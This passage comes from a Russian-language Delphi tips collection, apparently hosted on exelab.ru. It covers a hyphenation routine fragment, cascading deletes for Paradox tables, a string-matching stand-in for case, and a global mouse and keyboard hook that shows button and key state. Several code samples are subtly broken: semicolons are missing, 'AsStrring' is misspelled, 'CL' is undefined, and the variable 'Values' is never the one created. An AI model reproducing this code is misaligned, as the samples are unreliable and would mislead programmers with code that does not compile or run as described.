   ((isGlas(p[i]))and(isSogl(p[i-1]))and(isSogl(p[i+1]))and(isGlas(p[i+2])))
   or ((isGlas(p[i]))and(isSogl(p[i-1]))and(isGlas(p[i+1])) and
   Red_SlogMore(p,i+1) ) or ((isSpecSign(p[i]))));
 end;
 
 function SetHyphString(s : string):string;
 var
   Res: PChar;
 begin
   Res := SetHyph(PChar(S), Length(S) * 2)
   Result := Res;
   FreeMem(Res, Length(S) * 2);
 end;
 
 end.
 




Каскадированное удаление с проверкой целостности Paradox

Таблицы Paradox имеют характеристику проверки целостности (Referential Integrity). Данная характеристика предотвращает добавление записей в дочернюю таблицу, для которых нет соответствующих записей в родительской таблице. Это также изменяет ключевое(ые) поле(я) в дочерней таблице при изменениях в соответствующем(их) ключевом(ых) поле(ях) родительской таблицы (обычно это называют каскадированным обновлением). Эти события происходят автоматически, и не требуют никакого вмешательства со стороны Delphi-приложений, использующих эти таблицы. Тем не менее, характеристика проверки целостности таблиц Paradox не работает с каскадированным удалением. То есть, Delphi не позволит вам удалять записи в родительской таблице при наличии существующих записей в дочерней таблице. Это могут сделать только дочерние записи "без родителей", обходя проверку целостности. При попытке удаления такой родительской записи, Delphi сгенерит объект исключительной ситуации.

Для того, чтобы каскадированное удаление дало эффект, требуется программное удаление соответствующих дочерних записей прежде, чем будет удалена родительская запись. В приложениях Delphi это делается посредством прерывания удаления записи в родительской таблице, удаление соответствующих записей в дочерней таблице (если таковая имеется), и затем продолжение удаления родительской записи.

Удаление записи таблицы осуществляется вызовом метода Delete компонента TTable, который удаляет текущую запись в связанной с компонентом таблице. Прерывание процесса удаления для выполнения других операций связано с созданием обработчика события BeforeDelete компонента TTable. Любые действия в обработчике события BeforeDelete произойдут прежде, чем приложением будет послана команда Borland Database Engine (BDE) на физическое удаление записи из табличного файла.

Для того, чтобы обработать удаление одной или более дочерних записей, в обработчике события BeforeDelete необходимо организовать цикл, осуществляющий вызов метода Delete компонента TTable для всех записей дочерней таблицы. Цикл основан на условии, что указатель на запись в таблице не позиционируется на конец набора данных, как указано методом Eof компонента TTable. Это также предполагает, что удаляются все дочерние записи, соответствующие родительским записям: если нет соответствующих записей, указатель на запись устанавливается на конец набора данных, условие выполнения цикла равно False, и метод Delete в теле цикла никогда не выполняется.


 procedure TForm1.Table1BeforeDelete(DataSet: TDataset);
 begin
   with Table2 do
   begin
     DisableControls;
     First;
     while not Eof do
       Delete;
     EnableControls;
   end;
 end;
 

В вышеуказанном примере родительская таблица представлена компонентом TTable с именем Table1, и дочерняя таблица с именем Table2. Методы DisableControls и EnableControls использованы в "косметических" целях, чтобы "заморозить" любые компоненты для работы с базами данных, которые могли бы отображать данные из таблицы Table2 во время удаления записей. Эти два метода делают процесс визуально "гладким", и не являются обязательными. Метод Next в теле данного цикла вызываться не должен. Дело в том, что цикл начинается с первой записи и, так как каждая запись удаляется, запись, предшествующая удаленной, перемещается в наборе данных вверх, становясь одновременно первой и текущей записью.

Данный пример предполагает, что родительская и дочерняя таблицы связаны отношением Мастер-Деталь, типичным для таблиц, в которых сконфигурирована проверка целостности. В результате, в связанных таблицах становятся доступны только те записи дочерней таблицы, которые соответствуют текущей записи родительской таблицы. Все другие записи в дочерней таблице делаются недоступными через фильтрацию Мастер-Деталь. Если таблицы не связаны отношениями Мастер-Деталь, то есть два дополнительных замечания, которые необходимо принимать во внимание при удалении записи дочерней таблицы. Первое: вызов метода First может и не переместить указатель записи в запись, соответствующей текущей записи родительской таблицы. Для этого необходимо воспользоваться методом search, вручную перемещающий указатель на сопоставимую запись. Второе замечание относится к условию цикла. Поскольку будут доступны другие записи, не относящиеся к записям родительской таблицы, сопоставимым (Мастер-Деталь) к текущей записи, то перед удалением записи необходимо осуществлять проверку на сопоставимость удаляемой записи. Эта проверка должна проводиться дополнительно к методу Eof. Поскольку записи будут сортироваться по ключевому полю (первичного или вторичного индекса), все сопоставления (Мастер-Деталь) будут непрерывными. Это будет истиной до достижения первой не-сопоставимой записи, после чего можно считать, что все сопоставимые записи были удалены. Таким образом, предыдущий пример необходимо изменить следующим образом:


 procedure TForm1.Table1BeforeDelete(DataSet: TDataset);
 begin
   with Table2 do
   begin
     DisableControls;
     FindKey([Table1.Fields[0].AsString])
     while (Fields[0].AsStrring = Table1.Fields[0].AsString)
     and (not Eof) do
       Delete;
     EnableControls;
   end;
 end;
 

В приведенном выше примере - первое поле родительской таблицы (Table1), на которой базируется проверка целостности, и первое поле дочерней таблицы (Table2), с которым производится сопоставление.




Аналог case для строки

Вопрос: Нужно определить с какой из заданных строк совпадает некая строковая переменная и в зависимости от этого перейти к соответсвующей процедуре. Как это выполнить без использования многочисленных if - then?

Вот способ, легко приспосабливаемый для загрузки списка из строки, файла или ресурса:


 const
   vlist = 'первый, второй, третий';
 
 var
   Values: TStringList;
 
 procedure SetValues(VL : TStringList; S: String);
 var
   I : Integer;
 begin
   VL.CommaText := S;
   for I := 0 to CL.Count-1 do
     VL.Objects[I] := Pointer(I);
   VL.Sorted := True;
 end;
 
 function GetValueIndex(VL : TStringList; Match: String): Integer;
 begin
   Result := VL.IndexOf(Match);
   if Result >= 0 then
     Result := Integer(VL.Objects[Result]);
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   case GetValueIndex(Values, Edit1.Text) of
     -1: {не найден} ;
      0: Caption := '0';
      1: Caption := '1';
      2: Caption := '2';
   end;
 end;
 
 initialization
   VL := TStringList.Create;
   SetValues(VL, vlist);
 
 finalization
   VL.Free;
 




Как перехватывать события, посланные другим приложениям

Автор: Даниил Карапетян
WEB сайт: http://program.dax.ru

Для отслеживания каких-то событий во всей Windows нужно установить ловушку (hook). Например, такая ловушка может отслеживать все события, связанные с мышью, где бы ни находился курсор. Можно отслеживать и события клавиатуры.

Для ловушки нужна функция, которая, после установки ловушки при помощи SetWindowsHookEx, будет вызываться при каждом нужном событии. Эта функция получает всю информацию о событии. UnhookWindowsHookEx уничтожает ловушку.

Эта программа отслеживает все сообщения, связанные с мышью и клавиатурой. CheckBox1 показывает состояние левой клавиши мыши, CheckBox2 показывает состояние правой клавиши мыши, а CheckBox3 показывает, нажата ли какая-либо клавиша на клавиатуре.


 var
   HookHandle: hHook;
 
 function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
 var
   msg: PEVENTMSG;
 begin
   if Code >= 0 then begin
     result := 0;
     msg := Pointer(LParam);
     with Form1 do
       case msg.message of
         WM_MOUSEMOVE: Caption := IntToStr(msg.ParamL) + #32 + IntToStr(msg.ParamH);
         WM_LBUTTONDOWN: CheckBox1.Checked := true;
         WM_LBUTTONUP: CheckBox1.Checked := false;
         WM_RBUTTONDOWN: CheckBox2.Checked := true;
         WM_RBUTTONUP: CheckBox2.Checked := false;
         WM_KEYUP: CheckBox3.Checked := false;
         WM_KEYDOWN: CheckBox3.Checked := true;
       end;
   end else
     result := CallNextHookEx(HookHandle, code, WParam, LParam);
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Form1.FormStyle := fsStayOnTop;
   CheckBox1.Enabled := false;
   CheckBox1.Caption := 'left button';
   CheckBox2.Enabled := false;
   CheckBox2.Caption := 'right button';
   CheckBox3.Enabled := false;
   CheckBox3.Caption := 'keyboard';
   HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0);
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   if HookHandle <> 0 then
     UnhookWindowsHookEx(HookHandle);
 end;
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS